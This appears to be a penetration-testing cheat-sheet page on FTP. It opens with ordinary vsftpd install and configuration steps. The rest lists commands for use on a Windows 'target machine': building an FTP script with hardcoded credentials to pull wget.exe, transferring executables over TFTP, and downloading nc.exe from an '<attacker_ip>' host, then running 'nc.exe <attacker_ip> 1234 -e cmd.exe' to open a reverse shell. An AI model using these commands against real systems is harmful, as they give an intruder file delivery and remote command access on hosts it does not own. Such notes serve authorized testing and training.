Skip to content

FTP

vsftpd

Installing vsftpd

sudo apt-get install vsftpd

Update config to writable

sudo nano /etc/vsftpd.conf

locate write_enable=YES and remove the # in front of it and save the file changes.

Restart vsftpd

sudo systemctl restart vsftpd

Now you can FTP and do what you need to do.

purging vsftpd

sudo apt purge vsftpd

another way

Set up a ftp downloading script on the target machine
echo open IP 21 > ftp.txt
echo USER acknak>> ftp.txt
echo jLQRZy4gyLhmMqz2whTw>> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET wget.exe >> ftp.txt
echo bye >> ftp.txt
Download the prepared file
ftp -v -n -s:ftp.txt
Start tftp server on Kali
aftpd start
Transfer files from Kali to Windows (from windows terminal)
tftp -I IPADDRESS GET nameoffile.exe
You can have a shell using this
echo open <attacker_ip> 21> ftp.txt
echo USER offsec>> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
nc.exe <attacker_ip> 1234 -e cmd.exe